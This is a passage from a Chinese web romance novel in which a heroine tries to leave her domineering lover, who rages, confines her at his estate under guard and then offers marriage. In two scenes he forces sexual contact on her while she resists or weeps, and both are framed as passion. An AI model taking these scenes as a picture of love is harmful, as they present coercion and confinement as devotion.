傅小敏心底也突突跳着,没想电话彼端的傅随之竟然没发火,情绪极其稳定,“好。那让她早点休息。” 傅小敏感觉死里逃生。 “另外,让秦楠去办一件事。” “好。” 林青盏在玻璃花房里赏了会儿花,临近十点,她缓缓站起身,往二楼走去。 傅小敏跟在她身后,察言观色,“小姐,刚刚爷让人送了份礼物过来,就放在房间里。” 林青盏纤细手掌搭在雕花楼梯扶手上,侧眸看了傅小敏一眼,神色没什么波动,继续往上走。 推开黑色木门,林青盏看到摆放在房间中央的那套精致秀禾服,就是她今天试的那套龙凤呈祥新娘服。 艳丽的红色在暖橙色灯光下,显得有些暗淡,不再是她钟意的那套能在婚礼上穿着的美丽新娘服,而是迟来的、她已经不需要的安慰。 林青盏转身对傅小敏说,“收到衣帽间去吧。” 傅小敏怔了怔,只能说:“是。” 那之后,林青盏依旧如往常那样,每日到望月台报道,阮青山和兰青翎几次找她商谈排演出场次的事情,林青盏都以身体不适婉拒。 林博蘅借着过来望月台看演出的遮掩,过来找过林青盏几次,都是为贺兰承过来传话的。 这几天贺兰承在马来西亚被事情绊住,但还是让林博蘅护着林青盏。 林博蘅已经在安排,只要林青盏点头,可以立马带她离开。 林青盏并没有答应,林博蘅和贺兰承也拿她无可奈何。 这天傍晚,林博蘅又过来了一趟。 他站在后院门口,等着林青盏给学生上完课走出来。 林青盏穿一袭黛青色旗袍,手里提着一篮子兰青翎给她的砂糖桔,整个人像是傍晚晚霞那般温柔。 林博蘅望着她情绪复杂,但很快掩饰住,没让它们跑出来。 他走过去,“小纾。” 林青盏扬眉笑,“博衡哥。” “在这么美的晚霞下,实在不想扫兴。不过林解叮嘱,我不得不问,思考得怎么样?” 林青盏嘴角的笑淡了些许,故意逗他,“你也知道现在晚霞很迷人,还来破坏这美好的场景。” “我很抱歉。” 林博蘅是出了名的绅士公子,一句道歉说得极其诚恳,叫林青盏都不好意思再逗他。 “麻烦博衡哥给我哥传个话,再给我点时间。” 林博蘅无奈笑了,“你们果然是亲兄妹。” “嗯?” 他解释:“林解说了,如果你说要时间考虑,那他的答案是:只能再给你三天时间。” 她不解,蹙眉问:“为什么我哥这么着急?” 林博蘅顿了顿,“小纾,你哥不让我告诉你,但有些事你应该知道。你知道为什么他就在马来西亚,却十六年都没有回来找你?” 这件事林青盏之前也很疑惑,只是贺兰承没有多说,她也没有多追问。 “贺老有十六个儿子,对外都说是亲生的,但你哥就不是,其他人是不是也不好说。总之他们各个都不是省油的灯,你哥想要在贺家立足并不容易。这些年他虽然得到了部分权势,但付出的更多。这十六年来,他在刀尖上淌血,从死亡边缘擦身而过好几次。现在贺老生命垂危,是最关键的时刻。” 林博蘅望着她说道,“我估计贺老最长只能再撑三天。三天后,你哥上位,其他人必然不甘心,他们什么事情都做得出来。你哥唯一的软肋是你。” 一边是傅随之,另一边是贺家那些人,任何一方都可能要了林青盏的命,贺兰承不允许这样的事情发生。 所以,他要将林青盏藏起来。 沉思片刻,林青盏垂下眼眸,像是彻底做了决定。 她对林博蘅笑了笑,“我知道了。博衡哥,你等我两天。” 林博蘅极为绅士扶着她迈过望月台的门槛,很快又松开,“我会做好万全准备,保证你的安全。” “谢谢博衡哥。” 他们已经走到望月台门口,自然是不好过多逗留。 林博蘅对她做了个“请”的动作,原是想为她打开车门,送她上车。 林青盏转过身,不经意看到对面今安茶楼门口停靠着一辆黑色的宾利。 心底有所感应,她抬起眼眸,就那么看到站在二楼的傅随之。 被绿藤缠绕的墙上,咖色木窗敞开着,身穿黑色西服黑色衬衫的傅随之侧身而站,镜片下狭长双眸盯着她。 林青盏莫名感觉背后发凉。 身旁的林博蘅也看到傅随之,点了点头算是打招呼,随后转身先离开。 他知道这种时候,他与林青盏保持距离,对于林青盏来说才是最好的。 林青盏仰头望着傅随之,他神色淡漠盯着他。 莫名地,她想到初见的那次,她和顾蝉从浮云寺回来,不经意转身看到傅随之也是站在那个位置,当时他的一双眼眸冷漠没有温度。 和现在的好似有所不同。 见她一动不动,傅随之冷声对她说:“上来。” 隔开比较远,其实声音听得不真切,但她看懂了他说话的唇形。 林青盏眨了眨浓密眼睫,垂下头,心想:但其实也没有什么不同。 众目睽睽之下,林青盏非常清楚,她不上去,傅随之就会下来抓她,她不想闹出太大的动静,提着手里的竹编篮子,迈步往今安茶楼走进去。 今安茶楼和望月台这座院子一样,都有百年的历史,装潢古色古香。 从咖色木门走进去是宽阔的一楼大厅,里面有许多人在喝茶,见她进来转身望过来,神色各异。 林青盏没理会,转身往旁边的环形楼梯走去。 今安茶楼外面看着好似门面不大,其实里面很是雄伟壮观,环形木梯一层一层环绕往上不间断,好像巍峨的松木构成了一座巨大的城。 她扶着光滑的木梯扶手走上二楼,傅慎已经在楼梯口等候,见了她恭敬鞠躬,“小姐。” 林青盏点了点头,提着那栏橘子走进包厢。 傅随之仍旧站在窗边,见她进来,对她伸出手掌。 但林青盏没过去,将竹篮放在圆木桌上,站在原地,拿一双纯净桃花眼盯着他。 门口的秦楠看着傅随之沉下的脸色,这次不再觉得胆战心惊,反倒是因为第一次看到傅随之吃瘪,一心想看好戏。 傅慎将他们往后赶,顺道把门拉上,隔绝了身后三人的视线。 傅小灵推了下他手臂,“我们听听小姐和爷怎么和好的。” 傅慎抓住她的手腕,将人往旁边拉,“你们是怎么回事,三个人跟着小姐,还能让她心情不好,三爷遭殃,我们几个都要跟着受罪。” 傅小敏不爽,“你以为我们乐意啊。还不是爷自己,小姐刚出月子,他人都没哄好就 往京都跑。也难怪小姐会生气。” 其他三人转身看向她。 秦楠看得尤其认真,“你以往不都是站爷那边?” “我什么时候站爷那边。他惹小姐不高兴,我肯定站小姐这边。” 傅小灵赞同地点点头,还想去听里面的声音,被傅慎直接拉走。 包厢里。 傅随之望向林青盏,她今日穿了身海棠花底纹的新中式连衣裙,细腰盈盈一握,垂落的手臂白皙嫩滑,整个人瞧着极为柔软脆弱。 她抬起头,一双桃花眼纯净得像是溪水般透亮,望着他,让他这几天憋着的火瞬间散去。 上次因为他的突然离去,周聿淮那边颇有微言,所以这趟他去京都只能耐着性子和周聿淮谈。 周聿淮不像是其他草包,对项目的方案各类细节都抠得很紧,他跟傅慎连熬了一周才搞定周聿淮想要的方案,但到目前为止,周聿淮还没彻底点头答应签合同。 这种时候,他给林青盏打电话,她都不接,连话都不愿意跟他说,气得傅随之摔了好几部手机。 昨天周聿淮那边终于松口,答应确认方案没问题就三天后签合同,傅随之才有心思赶回浮城来逮人。 心中腾着一股怒火,傅随之原是打算直接将人抓进来狠狠收拾一顿的,可这会看到她,傅随之的心又软了。 他迈步走过去,在圆木椅坐下,抓住她的手腕将人拉过来坐在他腿上。 她不自觉低头看了眼,他穿着定制的黑色西装裤,折出明显的痕迹,被她碾压而过。 他捏着她白皙下巴逼迫她抬眸,“还生气?” 林青盏对上他那浅棕色眼眸,几日来沉寂的心湖终于有了波动,“我怎么敢生三爷的气。” 傅随之眼神沉了下来,是瞬间变了脸。 跟了他这么一段时间,林青盏自然知道他这神色代表了什么,但是她觉得有些累,压根不想主动去迎合他。 她踩着高跟鞋要站起身,却被他狠狠摁了回去。 他炙热的手掌捏着她脖颈后面,将她拉过来,与自己逼近,抵在她唇角,“还说不敢生气?” 林青盏身躯纤瘦,坐在身躯高大的他身上,看起来更显得弱小,力量也是不及他的,只能随他掐着她的脖子,与他对视。 以前,她是需要仰仗他依靠他的,所以她惧他、甘愿位于他之下,随着他操控。 可现在他们站在爱的天平上,应该是平等的,所以她不怕他,无惧于与他对视。 她撩起眼睫看向他,眼神毫无波澜,身上透着一股与他极为相似的淡漠。 她这人看似温柔柔软,但骨子里硬得很。 傅随之越是压着她,她越是梗着脖颈,一双桃花眼紧紧盯着他,“我说得哪句话不对,请三爷告诉我。” 对她这嘴硬的态度,傅随之其实毫无办法,眼神越发阴冷。 “我不过是三爷养在笼中的一只雀,三爷叫我往东我不敢往西,叫我乖乖地待在笼子里我就静候。笼中雀即便是再扑腾翅膀,左右都翻不出三爷的掌心,我岂敢生气?” 她今天是偏要使性子给他找不痛快,声音轻柔犹如鸿羽,但说出的话却一句句像是匕首般插入傅随之心脏,还要用力碾压一圈过去。 傅随之脸色阴沉,脸庞因为用力绷着轮廓越显得锐利。 熟悉他的人都知道,他这神色是已经恼怒,“能不能好好说话?” 林青盏被他紧紧箍着腰肢,皮肤隐隐发疼,莫名地就勾起了她的情绪,鼻尖发酸,眼眶也跟着红了。 “不能。” 声音已经带着些许哭腔,却坚持不愿意让眼泪掉下来。 她不愿意相信沈钰铭说的是真的,他其实没有想过要跟她有以后,连带着他们的孩子都是不受欢迎的。 这比当初知道孩子生下来就是私生子,还让她难受。 她知道她爸爸可能做了伤害他父亲的事情,她甘愿一辈子为爸爸赎罪,也从未想过要离开他。 她想过,傅随之可能知道这些,他或许在等待什么,或者想从她身上得到什么,这些都没关系,只要他想要的都可以拿走。 可是他不能欺骗她。 天色暗下来,包厢里亮起橙色的光,落在她脸庞镀了一层温和。那双桃花眼泛着胭脂色,鼻尖也红红的,叫她更显得脆弱。 傅随之以往也不信,他偏偏就吃她这一套。 他深深叹了口气,手掌卸了力气,炙热掌心贴着她单薄脊背,将人往自己怀里摁过来。 洇润的唇贴着她嘴角亲了亲,声音难得温柔,“你朝我发脾气,自己倒是先委屈上了。” 林青盏挣扎着想将手臂抽出,却被他握得更紧。 他手臂勾着她肩膀,将人搂过来亲着,“之前和周家在谈生意,突然退场后,事情还没解决,才会在你休养的时候离开。我也让小敏和小灵陪着你了。” 林青盏瘪嘴不语。 他凑过来吻着她的唇,越发有耐心,手掌贴着她后背摩挲着,“三天后事情基本会告一段落,我再好好陪你。嗯?” 她眼尾的红越发明显,歪头错开他的唇。 他又去追,贴着她嘴唇亲了又亲,林青盏还是不依,挣扎着要起身,就是不愿意与他亲密。 傅随之难得的退让没有让事情顺利解决,她一而再再而三地拒绝,让他彻底失去了耐心。 他掐住她的下巴,制止了她的挣扎,“林纾,适可而止。” 冷漠的呵斥让她错愕抬起眸,这一刻,她终究没忍住问出口,“随之,你当真是爱着我的吗?” “不明显吗?” 话音一落,傅随之掐着她的下巴将她拉过来,用力吻住她的唇。 自从她流产后,傅随之担心她心情怕她觉得不适,已经很久没有这么强烈地表达过自己的欲.望。 可她还是不满意。 跟其他男人说话时,眉眼带笑像极了灿烂的海棠花在风中摇曳,见了他就这幅模样,总是不让他靠近。 她不给,他偏要。 这世上还没有他傅随之要不得的。 他环住她的肩膀,将人困在自己怀里,低头咬住她的唇,舌尖用力撬开她的唇齿,探进去勾住她的,强势将她的呼吸都夺走。 宽厚的手掌捧起雪白,一时间抓不住,也解不了馋,气得将旗袍上的盘云扣扯掉,发了狠地捏住,低头去舔。 林青盏本来就心情不好,还叫他这样强势对待,气得去捶他的肩膀、胸膛,使了劲儿要将人推开,却被他将双手反剪在身后。 他将脸埋在她胸口,温热舌尖滑过,用了巧劲儿将真丝勾掉,又去解开他的皮带金属扣,将皮带用力扯出来。 箭在弦上。 林青盏手掌抵着他胸膛,被他气得胸口发疼,眼泪也跟着从眼角滑落,白皙脸蛋哭得梨花带雨,一双纯净桃花眼瞪着他,“傅随之,你混蛋。” 明明是气愤的语调,她软浓的音腔说出来半点没了气势,却叫他心头的火彻底被浇灭。 他缓过来那股情绪,胸口闷得快要爆炸,转过身去,叫自己卸下所有的阴狠犀利。 再回头去捧住她的脸,轻柔为她拭去泪滴,嘴唇一下下亲吻着她的眼角,“好了,不哭了。” 他不安慰还好,这会儿他声音变得温柔,叫林青盏更是忍不住,情绪在这一刻像是紧绷着的弦断了。 她将 脸埋在他颈窝,晶莹的泪滴像是小珍珠似地掉进他黑色衬衫里,贴着结实的胸肌滑落到心脏的位置。 他心脏抽痛。 修长双臂环住,他轻轻地揉着她肩膀,“行了,不碰你了。” 林青盏脸埋在他肩头,泪水一滴滴滑落,纤细手指拽着他的黑色衬衫,用尽全力揪住,像是如此就能不放开手。 她抽泣着捶打他,“你这个混蛋。混蛋!” 傅随之只管将人搂住,随着她出气。 片刻后,她终于停了下来,整个人无力得像是白云般贴在他怀里,声音轻得像风:“傅随之,我们分手吧。” 傅随之身躯一僵,低头去看她,脸色冷得像是冰川般尖锐,“你说什么?” 她仰起头,那张白净的脸蛋挂着泪痕,眼神却是如此决绝,“我不想再继续这段关系,请三爷放我离开。” 傅随之眼神阴郁得可怕,死死盯着她的双眼,咬牙:“不可能,你休想!”- 香桂坊。 顾宴迟和纪时礼刚走到包厢门口,看到身穿青瓷旗袍的服务员站在门口,神色惶恐不安地望着里面。 下一秒,里面传来“嘭”的一声巨响,顾宴迟和纪时礼面面相觑。 两人都是接到唐郁东电话才过来的,唐郁东在电话里没有多说,只让他们立马过来香桂芳,不知道发生了什么,两人都有点懵逼。 纪时礼:“什么情况?在砸东西啊?” “是大哥?”顾宴迟疑惑,“刚打电话不是还好好的。” 他们并肩往包厢走去,服务员看到他们点头往后面退去,神色明显是松了一口气。 谁都知道顾宴迟最好说话,基本不会为难人,纪时礼虽然疯名在外,但是他平日里吊儿郎当的,对她们这些人从未给过黑脸。 他们来了,至少能挡着点。 毕竟里面正摔东西的那位从来都是冷若冰霜,发起脾气谁都拦不住,他们这些人是万万不敢靠近。 看出她们的为难,顾宴迟挥了挥手,让她们下去。 纪时礼手掌压着木门用力往里面一推,压根没看清里面的场景,就见一道黑影飞过来,纪时礼歪头躲开,再转身看到身后走廊上碎了一瓶威士忌。 他无语了,转过身就看到傅随之站在沙发旁,黑色衬衫扣子掉了两颗,衣衫不整,头发丝都是乱的,脸色阴冷得很,操起桌上的啤酒瓶就往地上、墙壁砸。 话是不想说的,砸起酒瓶倒是上了劲儿,一下比一下狠。 反观坐在单人沙发上的唐郁东和徐泽也,神色很平静,一人点着一根烟,慢慢吸着。 傅慎也跟着贴墙站,没说话,也不看傅随之,虽然那张脸一直都是没表情的,但顾宴迟莫名就看出了一股麻木。 两人在门口站了会儿,顾宴迟差点被飞过来的啤酒瓶砸到,赶紧拽着纪时礼往一旁躲。 两人避开地上破碎的啤酒瓶渣子,走到唐郁东身旁坐下。 “这怎么回事啊?” 唐郁东挑了挑眉,举起捏着烟的手,大拇指挠了挠太阳穴,一时间竟然不知道该怎么开口。 纪时礼:“有生之年,难得看到大哥开不了口。” 唐郁东冷笑。 应该是有生之年,难得看到傅三为了女人发疯—— 作者有话说:现在这么粗暴,有一天总要还回来。 等着跪舔吧! 第60章 纪时礼有个名号“小疯子”,但其实名号响彻更早的是傅随之“疯子”的称号。 这人在傅怀锦膝下长大,处处被压迫,长出一副冷漠诡异的性情,还没成年的时候,他就敢拿自己微薄的收入去挑衅傅清檐,做出许多疯子行为,后来在商界混的时候,也经常阴冷发疯,所有人都怕他。 但自从他上位后,他将傅氏集团掌握在手里,性情平静许多,睥睨的意味比较重,倒是很少见做出什么疯狂骇人的行为。 没想到啊—— 唐郁东顶着大背头,嘴里叼着一根烟,眼底满是无语,“为了一个女人在发疯。” “啊?”纪时礼瞳孔睁大。 徐泽也指尖捏着烟,唇齿间溢出白烟,“你没听错。傅三为了个女人在发疯砸酒瓶。” 原本应该是消息最灵通的顾宴迟竟然没接到顾蝉的消息,蹙眉道:“他和林姑娘又怎么了?” 徐泽也抬了抬下巴,示意他问傅慎。 傅慎无奈,“林小姐说要跟我们爷分手。” “分手?就是傅三居然会被甩的意思??”纪时礼来了兴致,“怎么搞到要分手了?” 傅慎轻启唇,竟然说不出口。 总不能说,他们爷让人姑娘怀孕又没保护好她,让她受了折辱气得流产,小月子还没做完,他们爷就撇下人跑去谈生意,惹怒了林姑娘,连电话都不愿意接。 都已经到了这样的田地,他们爷回来刚好看到林姑娘跟别的男人说说笑笑,他一个没忍住就开始吃飞醋,还要霸王硬上弓,把人姑娘逼急了就说了要分手! 林青盏一说要分手,傅随之就火了更是慌了,现在还把人姑娘囚.禁.在海棠湾,让傅小敏傅小灵贴身看着,不准她离开海棠湾半步。 这样强势的态度让林青盏气急攻心,卧床不起,刚刚还叫家庭医生在给她输液。 徐泽也列出他的“滔天大罪”,纪时礼立马竖起大拇指,“这真不是男人能干得出来的事儿。” 话音刚落,一瓶康帝擦着他脑袋飞过去,砸在身后的墙上,“嘭”的一声,酒水四溅。 纪时礼气得要起身去找傅随之,被唐郁东一把摁回沙发,“算了,别惹他。待会酒瓶往你脑袋砸,我也拦不住。” 仔细想了想,这像是傅随之能干得出来的事情,为了避免脑袋开花,纪时礼默默坐下。 包厢在走廊尽头,刚巧有个半圆弧的落地窗。 黑色意式圆桌旁,唐郁东坐在单人沙发上,大大咧咧敞开着双腿,像是凶猛的狮子,瞧着就极有威严。 他往嘴里叼了根烟,“要我说,什么情情爱爱,麻烦。” 纪时礼嘀咕,“你自己是女人绝缘体,压根不懂爱。” 被唐郁东冷瞥了一眼。 徐泽也悠然往后靠,也是看好戏的姿态,“要我说,这位林姑娘是挺有本事的。当初傅鸿源将人送过来的时候,傅三有多鄙视,现在就有多……” 最后那个“惨”字还没说出来,康帝酒瓶又扔过来了,从徐泽也脑袋上飞过,落在落地窗上“嘭”的一声,还好落地窗玻璃是特制的,没有任何痕迹。 “啧啧。果然是疯子,话都不让人说了。”徐泽也典型的笑面虎,眉眼带笑看着傅随之,“你不让我们说话,我们怎么给你指路教你去哄哄那位林姑娘?” 包厢黑皮沙发旁,傅随之砸康帝的动作停下,适可而止地看向徐泽也,眼底透着一股冰雪似的冷。 “要说不出什么,这东西就会落在你脑袋上。” “呵,你这是在威胁我吗?我不接受威胁——” 他话都没说完,傅随之操起瓶酒,明显就要砸过来的意思。 徐泽也看似云淡风轻,但也知道不能惹他,立马开口说道:“哄人你得先知道人姑娘想要的是什么。” 傅随之往沙发一坐,头顶的白炽灯将他白皙脸庞点缀得越发阴冷,他垂眸看着一片混乱的桌面,眼里隐藏着认真。 顾宴迟:“我听小蝉说,林小姐钟情你,之前还说过你以前吃了苦,所以想跟你在一起有个家。” 傅随之眼睫颤了颤。 “她虽然在望月台长大,无父无母,但是她师傅和老师对她教诲不少,她骨子里是个很传统的女人。当初要是没有孩子,你不跟人结婚吊着人家,恐怕她心底也就难受一下。这突然有了孩子,没有哪个母亲能让自己孩子无名无份的。” 顾宴迟帮他分析,“要是真的无名无 份生下来,她心底虽然有心结,后面你补偿她就是了。可偏偏出了事情,孩子没了。这一连窜的事情,一再的情绪波动,她生了离开你的念头也情有可原。因为她现在看不到希望。” 纪时礼:“那傅三不是也没办法嘛。上次查出拐卖儿童那么大的事情,傅清檐推了个人出来,自己全身而退,连根毛都没拔下来。现在沈钰铭和傅鸿源绑定在一起,沈家自然是站在傅清檐那边。傅三现在是危机四伏,蓝盛的事情还没搞定,局面还没个定数。这会儿再来搞一场婚礼,肯定是重创。” 唐郁东不理解:“要分手就分手,不过是个女人,至于让你如此被动?” 纪时礼看着他,“大哥,你这种连女人都不碰的,没有话语权。” 唐郁东抓着他脑袋,“你他妈今天一直鄙视我什么意思?你自己不也没有女人?只会暗恋的弱鸡。” “我弱鸡?我至少还知道喜欢一个女人什么感觉,你连这种感觉都不知道,就没有发言权!” 徐泽也:“其实在理。” 唐郁东把纪时礼推开,冷眼看着徐泽也:“就你流连花丛中,牛逼。” 徐泽也:“你别给我乱说!我什么时候拈花惹草过。” 顾宴迟笑,“大哥,你可别去娜娜面前说,老二跟你拼命。” 唐郁东叼着烟,冷眼看徐泽也,“有种。” 没人顾及的傅随之突然出声,“那就结婚。” 所有人都看向傅随之,神色惊诧。 纪时礼震惊,“傅三,你不是把傅家看得最重。你现在要为一个女人放弃?” 傅随之转身看向他们,以往犀利的眼眸难得有了些许迷茫,还有温柔和笃定。 唐郁东蹙眉,满脸不赞同,“你蛰伏许久,这两年才将傅家握在手里,地位不稳,族里的人都是阻力。你现在结婚,就是故意将风筝线递给他们,他们轻轻一扯,你这风筝就彻底没了支撑。没必要。” 顾宴迟:“事已至此,也不急于这一时,林姑娘说分手,可能就是心里难过,忍不住情绪随意说说。你要不先去哄哄她。” 傅随之摇头。 林青盏待在他身边不过几个月,他已经非常了解她,她看着柔柔弱弱,其实性情很执拗,她想做的事情恐怕不会轻易改变。 而且她极为重情,不可能随意将离开挂在嘴边,或者借此来逼迫他就犯。 她是真的想离开。 顾宴迟:“有时候女人想要的其实就是男人的态度,你可以现在不娶她,但是你得让她看到你的态度。既然你有结婚的打算,那你可以直接告诉她。林小姐是重情义的人,你跟她解释,她应该能听得下去。” 徐泽也:“之前娜娜生气不接大哥电话,我往她那儿送她最喜欢的珠宝过去总能争取到说话的机会。” 纪时礼:“那还等什么,你给傅三准备上。你那儿最近不是送来了古董翡翠王。” 傅随之站起身,走到纪时礼面前,纪时礼还以为他又要发疯,赶忙往顾宴迟身旁躲了躲。 没想他难得态度温和和纪时礼说话,“傅氏老宅最近的那座宅子,是在你名下。卖给我。” 纪时礼本能反应是拍桌子,“那可是老子买来准备修缮成婚房的!” “你们家舒姑娘还守着你哥,当什么婚房!”傅随之摆明了要强买强卖,“三天内过户完,我让傅慎去办。” 唐郁东膛目结舌:“到底是什么东西能让傅三这么疯?” 他实在无法理解。 徐泽也看他,“爱情这东西没那么容易懂。”- 傅随之心情不佳,发了一阵疯,没多少心思待着,转身就走了。 傅慎开车送傅随之回到海棠湾,客厅里彻夜通明,连明叔和李婶都守在客厅,看到傅随之走进来,他们赶忙站起身。 白色水晶灯下,傅随之活像是从黑夜地狱走出来的活阎王,脸色阴沉得可怕,身上的黑色衬衫解开了两粒口子,露出有着抓痕的锁骨。 傅小敏和秦楠从未看过这样的傅随之,颓废、落拓,又很狂躁,好似随时会爆炸。 傅随之抬眸望着楼上,“她怎么样?” “听到爷让她在房间里休息别出门,情绪很不好,说什么也不愿意吃东西。” 傅小敏面露担忧,“姑娘前阵子身体养得不算好,爷今晚离开后,姑娘情绪太激动,直接晕过去了。叫了医生过来,说底子不好,还大出血过,受不住这样的情绪,建议还是多休息。给打了镇定,姑娘这才勉强睡下了。” 傅随之什么话都没说,单手插兜往楼上卧室走去。 他轻推开门,走进去。 傅小灵原本坐在床边的灰色地毯,看到他赶忙站起身,还未开口说话,就对上傅随之那犀利眼眸。 他抬了抬头,示意她出去,傅小灵轻手轻脚往外走,将门也带上了。 门关上的同时,卧室里恢复灰暗。 厚重的窗帘将窗外的星光灯和月亮灯都隔绝,只有角落里亮着一盏特质的海棠花落地灯,在傅随之后背拓下了细长的影子。 他的脸庞也因为光线难得显得温柔。 他就那样站在床边,垂眸望着被褥中躺着的女人,她脸色苍白如白纸,嘴唇略干燥,神色很不好。 他蹲下身,宽厚手掌贴着她柔嫩脸颊,揉了揉。 那双从未叫人看透过的眼眸里,此刻满是温柔要溢出,他抓着她手掌凑到唇边,满是深情亲吻了她的手背。 在地上枯坐许久,他才站起身去浴室里将身上的酒气洗净。 他穿着一身黑色浴袍走出来,拉开被子,躺在她身后,壮硕手臂勾住她的肩膀将她揽入怀中。 原本睡得不安稳的女人,额头贴上他肌肤的那一刻,像是下雨天找到了最好的那把伞似的将他衬衫紧紧抓住,自动找了个舒服的姿态,贴着他胸膛沉沉睡去。 傅随之低头吻了吻她的头发,将人抱得更紧。 不知道是什么时候睡着的,傅随之像是掉入了迷幻梦境。 之所以觉得是梦境,是因为他看到了母亲。 梦境中,傅随之在海棠湾蹒跚前行,李婶和明叔跟在他身后,声声嘱咐:“少爷,你慢点,可别磕着了。” 小小的傅随之看到有人在身后追,还以为他们在跟自己玩游戏,满脸带笑往前跑,跳上台阶后,很快冲进玻璃花房朝着棠傛跑去。 棠傛穿一身珍珠白旗袍,绾起漂亮的发髻,眉眼弯弯,嘴唇是粉嫩的红色。 她怀里抱着傅于然,正在喂傅于然吃苹果,听到声音抬眸看过去,见傅随之极速冲进来,满脸温柔:“慢一些。” 与恬静可爱的傅于然完全不同,傅随之天生性情活泼,很是开朗乐观,整日里精神力很好,上蹦下跳。 李婶和明叔着实拿他没办法,也就是棠傛的话他会听一听。 听到棠傛嘱咐,傅随之慢下脚步,像是棠傛教导得那样,犹如绅士般走到他们面前。 “妈妈。”他打了招呼,走到沙发坐下,捏了捏傅于然肉肉的脸颊,奶声奶气地叫了声:“小于然。” 棠傛满脸温柔地摸了摸他的脑袋,“随之,你做得很好。” 画面一转,妈妈和妹妹消失不见,海棠湾空空荡荡的只有他一人,冰冷的黑色轿车将他接回老宅。 他穿着整套黑色小西装,被明叔牵着走进荣华苑,所有人都冷脸注视他,上座的傅怀锦浑浊双眸紧紧盯着他,没有任何温度。 他一直知道爷爷和奶奶不喜欢他,他们之前和棠傛回到老宅,所有人都是这样冷眼看他们,奶奶不喜欢让棠傛过来请安,爷爷都是随着沈家蓉,从来不会为他们做主。 他在海棠苑住了下来,日常由李嫂和明叔照顾。 因为棠傛去世,海棠苑瞬间没有了柱子撑腰,再加上傅怀锦的态度意味不明,所有人都可以欺负海棠苑的人。 原本活泼开朗的男孩沉默寡言,每日在海棠苑和学堂之间穿行,傅鸿源和傅鸿浠和他一起上课,但他们兄弟两个都不喜欢他,想着法子将他的东西毁掉,整天就想着找他不痛快。 一开始,傅随之会和他们讲道理,让他们不准再碰他的东西,不过没任何效果。 直到六岁那年,他从路边捡回来一只野兔子,养在海棠苑中。 某天野兔子跑出去后,他找了许久都没找到。 当天晚上,他找到后花园看到傅鸿源和傅鸿浠在烤兔子,旁边被剥下来的兔毛他再清楚不过,就是那只灰色野兔子的。 傅鸿源和傅鸿浠杀了他带回来的小兔子。 傅随之没再忍,直接冲上去,将 傅鸿源摁在地上揍,傅鸿浠想上前帮忙,却被傅随之打得满地找牙。 棠傛从小让他学习武术和格斗,他尤其善于格斗术,傅鸿源和傅鸿浠两个人合起来都不是他的对手。 打架是打赢了,但他的兔子死掉了。 他去找傅怀锦,要求他主持公道,但傅怀锦并没有。 那天阴雨连天,傅怀锦带着傅随之站在屋檐下,望着瓢泼大雨,声音极冷。 “傅家关系盘根错节,在利益面前,所有人都可能变成匕首。今天他们能杀了你的兔子,以后他们也可以将刀尖面向你。要想在傅氏立足走上高位,你就必须变成无情之人,没有任何情感牵绊就没有软肋,这样你才会成功。” 年幼的傅随之站在傅怀锦身旁,要仰起头才能看到傅怀锦的脸庞。 那天的雨夜里,他看着傅怀锦没有任何温度的脸庞,不知道为什么总觉得傅怀锦心底好似很难过。 他没有去探究那些情绪是为何,傅随之只知道他要在傅家立足,他要成为掌权人,这样他才有能力找到他的妹妹傅于然。 他才能完成妈妈死前的愿望。 可是这么多年了,他还是没能做到。 梦境转换,傅随之又回到海棠湾的玻璃花房前,他变成身材高大的男人,他跟小时候一样快速往里面奔跑而去。 他跑进玻璃花房,看到两个孩子坐在米白色的沙发上,左边的男孩子穿着黑色西装,和他长得一模一样,旁边的女孩子穿着白色的公主裙,头上戴着公主皇冠,脸庞肉肉的,眼眸和林青盏如出一辙。 看到傅随之走进来,两个孩子异口同声,“爸爸。” 奶声奶气的。 傅随之感觉冰冷的身体好似有了温度,从前被他丢弃的那些人性都在慢慢回笼。 林青盏站在沙发旁边,怀里抱着一束海棠花,抬眸看向他,唇角勾起浅浅的笑,声音甜腻腻地唤了声:“随之。” 他心中激动万分地往前,只迈出一步,看到面前的一切都变成泡沫,顷刻间消失不见。 傅随之身体冷颤了下,从梦境中抽离,睁开眼的瞬间,他对上林青盏那纯净如溪水的眼眸,双手勾住她的肩膀将她紧紧抱住。 好像只有抱着她,他才觉得自己身上是有温度的。 他宽大的手掌捧着她的脑袋轻柔抚摸着,一次又一次。 良久,他才微微松开她,垂眸对上她的桃花眼,声音低哑得可怕,“小纾,你想结婚,我们就结婚,好不好?” 这句话并没有让林青盏的神色阴转晴。 她神色淡然到没有任何波澜,声音如风般,“三爷不用为我妥协搁置你的事业,与你此生的事业相比,我自然是微不足道的。” 如果以往林青盏这样的口吻和他说话,傅随之不会再继续跟她交谈,但现在情况不同,傅随之知道她心意已决,不愿意放弃这个机会。 他的手掌往下抓住她纤瘦的肩膀,“小纾,我承认那些对我确实重要,我弹尽竭力就是为了走上这个位置。但和那些相比,你并不是微不足道。我说过你想要什么,我都会给你,我不过是叫你等一等。你要是不愿意等也没关系,我们可以结婚。” 林青盏依旧不为所动。 傅随之着急了。 他低头去找她的唇,轻柔地吻了吻她,即便她没有任何反应,他依旧费尽心思想让她看向他。 “小纾——” 昏暗的房间里,意式大床上浅灰色被褥舒展开,像是电影一帧帧堆积着浓墨般浪漫和悲戚感。 侧躺着的傅随之脸庞轮廓硬朗,怀里抱着柔软的女人,眼底沾着浓密柔情。 林青盏低着头,乌黑长发披散在真丝枕头上,并不愿意看他。 他不允许她这样,宽厚手掌捧起她的白皙脸颊,低头去找她那柔软的唇角,轻柔吸吮着,逼迫她抬起头与他对视。 “小纾,回答。” 指骨分明的手掌抓着她肩膀,像是要将她揉进心脏里珍藏起来,可是林青盏不为所动,眼眸满是淡漠。 傅随之心底沉了沉,更用力去吻着她,勾住她的舌尖夺走她的呼吸,手掌试探着去摸她最敏感的耳朵,想让她似以往那般动情,但她没有反应。 心底积累的情绪在此刻瞬间爆发,他抓住她身上那藕粉色真丝睡裙,低头去吻她的脖颈她的肩膀,咬住她柔嫩的雪白,此生想要与她纠缠到底。 忽而听到哭泣声。 傅随之抬起头,看到林青盏鼻尖泛红,如豆大眼泪掉下来,滴在他的掌心里,烫得他整个人怔住。 他停下动作,从来都雷厉风行的男人在此刻却像是无法思考,僵硬地为她将真丝睡袍拉好,重新将人搂入怀中。 压抑太久的情绪如瀑布般倾泻而下,林青盏趴在他怀里泣不成声。 想起之前两人有了感情,她曾经幻想过给他一个美好的家,也曾想过要和他共此一生,可是他们终究缘分太浅。 这个坎若是迈不过去,他们的爱会粉身碎骨。 林青盏双手紧紧抓住他的黑色衬衫,却再也没有以往的安定感。 